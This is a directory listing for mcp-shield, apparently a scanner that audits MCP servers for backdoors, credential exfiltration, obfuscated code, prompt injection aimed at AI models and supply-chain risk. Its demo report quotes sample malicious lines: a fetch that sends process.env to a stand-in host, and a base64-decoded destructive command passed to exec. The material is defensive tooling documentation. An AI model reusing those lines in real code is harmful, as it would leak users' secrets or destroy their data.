mcp-shield
Allows scanning of MCP server code cloned from GitHub repositories, performing static analysis on JavaScript/TypeScript files to detect security vulnerabilities and malicious patterns.
Enables scanning and auditing of npm packages containing MCP servers, analyzing source code for security risks and evaluating supply chain trustworthiness through package metadata and dependency analysis.
mcp-shield
A security scanner for MCP servers — detect backdoors, exfiltration, prompt injection, and supply chain risks before they reach your AI.
The MCP ecosystem is growing fast. Not every server on npm is safe. mcp-shield lets Claude audit any MCP server — local or from npm — before you trust it with your files, keys, and context.
What it detects
Category | Examples |
Exfiltration |
|
Code execution |
|
Obfuscation | Base64 runtime decoding, hex-encoded payloads, char-code arrays |
Sensitive file access |
|
Prompt injection | Hidden instructions, zero-width characters, role-switch attacks, jailbreak patterns |
Supply chain | Package age, download count, maintainer count, CVEs in dependencies |
Related MCP server: mcpwatch
Demo
You: Scan the npm package "some-sketchy-mcp-server" before I install it
Claude (using scan_package):
## mcp-shield scan: some-sketchy-mcp-server
Verdict: DANGEROUS | Findings: 2 critical, 1 high
### Code Findings
#### index.js
- [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })
- [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
const cmd = Buffer.from("cm0gLXJm...", "base64").toString()
- [HIGH] [EXEC004] child_process exec/spawn — shell command execution (line 13)
exec(cmd)
### Supply Chain
| Published | 2 days ago |
| Downloads/wk | 3 |
| Trust Score | 15/100 — RISKY |
Flags:
- Package published less than 7 days ago
- Very low weekly downloads (<100)Tools
Tool | What it does |
| Download an npm MCP package and scan it for malicious patterns |
| Scan a local MCP server directory (cloned from GitHub, etc.) |
| Check tool descriptions or responses for hidden injections |
| Get trust score, CVEs, maintainer count, and age for any npm package |
Installation
Option 1 — npx (no install)
claude mcp add mcp-shield -- npx mcp-shieldOption 2 — global install
npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shieldOption 3 — manual config
Add to ~/.claude/claude_mcp_config.json:
{
"mcpServers": {
"mcp-shield": {
"command": "npx",
"args": ["mcp-shield"]
}
}
}Usage examples
"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"How it works
Static analysis — scans JavaScript/TypeScript source files with a library of regex patterns covering 20+ attack signatures across 5 categories.
Supply chain audit — queries the npm registry for package metadata, then runs npm audit to surface known CVEs in the dependency tree.
Prompt injection detection — checks tool descriptions and responses for zero-width characters, instruction overrides, role-switch attacks, and other LLM-targeting techniques.
--ignore-scripts installation — when scanning npm packages, installs with --ignore-scripts so no malicious postinstall hooks run during analysis.
Contributing
PRs welcome. Detection patterns live in src/patterns.ts — adding new signatures is a single object.
git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run devLicense
MIT
Available Tools
4 toolsaudit_supply_chainB
Audit an npm package's supply chain health: publish date, weekly downloads, maintainer count, dependency count, and known CVEs. Returns a trust score from 0-100.
Inputs: package_name (required), version.
check_prompt_injectionA
Scan text (tool descriptions, tool responses, MCP server manifest content) for prompt injection attacks, hidden instructions, zero-width characters, jailbreak patterns, and instruction overrides.
Inputs: text (required), label.
scan_directoryA
Scan a local MCP server directory for backdoors, exfiltration code, obfuscation, and dangerous patterns. Use this for MCP servers installed locally or cloned from GitHub.
Inputs: path (required).
scan_packageA
Download an npm MCP server package and scan it for backdoors, exfiltration code, obfuscation, dangerous code execution, and supply chain risks. Returns a full security report with severity ratings.
Inputs: package_name (required), version.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
TDQS
Scored across 4 tools
Each tool has a clearly distinct purpose with no overlap: audit_supply_chain focuses on npm package health metrics, check_prompt_injection analyzes text for injection attacks, scan_directory examines local MCP server files, and scan_package downloads and analyzes npm packages. The four tools cover different security aspects without ambiguity.
All tool names follow a consistent verb_noun pattern using snake_case: audit_supply_chain, check_prompt_injection, scan_directory, and scan_package. The naming is predictable and readable throughout the set.
With 4 tools, this server is well-scoped for its security-focused purpose. Each tool earns its place by covering distinct security domains (supply chain auditing, prompt injection detection, local scanning, and package scanning), avoiding bloat while providing comprehensive coverage.
The tool set provides complete coverage for MCP server security assessment: it handles both local and remote sources (directories and npm packages), includes both static analysis (scanning) and dynamic checks (prompt injection), and covers supply chain risks. No obvious gaps exist for this domain.
Maintenance
Related MCP Connectors
Audit your MCP servers for poisoned tools and leaked secrets, and check AI-generated code for flaws.
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Scan any MCP server for tool-poisoning, security, auth & license. Trust score before install.
Check before your agent installs, connects or pays. install_check: before installing an npm or PyPI package, a GitHub repo, a skill, an editor extension or an MCP server, it answers allow / hold / block (known malicious packages from OSV, typosquats of official MCP servers, names that do not exist, install scripts, maintainer changes). check_repo_config: before opening a repository someone sent you, it reads its agent configuration (MCP servers, hooks, editor tasks, instruction files) and runs nothing. check_service and verify_tools: live status of any MCP server or x402 endpoint, real price and payTo vs the catalogue listing, OFAC and stablecoin-freeze screening, tool-set changes, an open Trust Score. find_service finds working services. preflight_payment decides allow / hold / block right before an x402 payment is signed; payment_status prevents paying twice; report_purchase records what a paid call delivered. Verdicts are signed into a public transparency log. Free, no account. Every other tool (evidence packs, agent identities, boards, mail) is at https://alalanet.com/mcp/full; install and MCP-server checks alone are at https://alalanet.com/mcp/guard. Claude Code plugin: alalanet-guard.
Related MCP Servers
- AlicenseAqualityDmaintenanceDiagnose, secure, and benchmark your MCP servers. Zero-config CLI for Claude Code, Cursor, VS Code, and Windsurf.48 npm3MIT
- AlicenseNot gradedqualityDmaintenanceMCP server that audits other MCP servers. Run MCPWatch security scans from inside Claude Code or any MCP-compatible agent with 10 OWASP MCP Top 10 aligned checks and A-F letter grades.MIT
- AlicenseNot gradedqualityCmaintenanceDiagnose MCP servers — health checks, tool testing, token cost audits, conflict detection, and security scanning with 50+ prompt injection patterns. Works as CLI or MCP server inside Claude Desktop.1MIT
- AlicenseAqualityBmaintenanceSecurity for the MCP servers you use: detects tool poisoning, rug pulls, shadowing, secrets and supply-chain risk (OWASP MCP Top 10), with runtime guards and approved-server policy. Runs locally.17104 npmMIT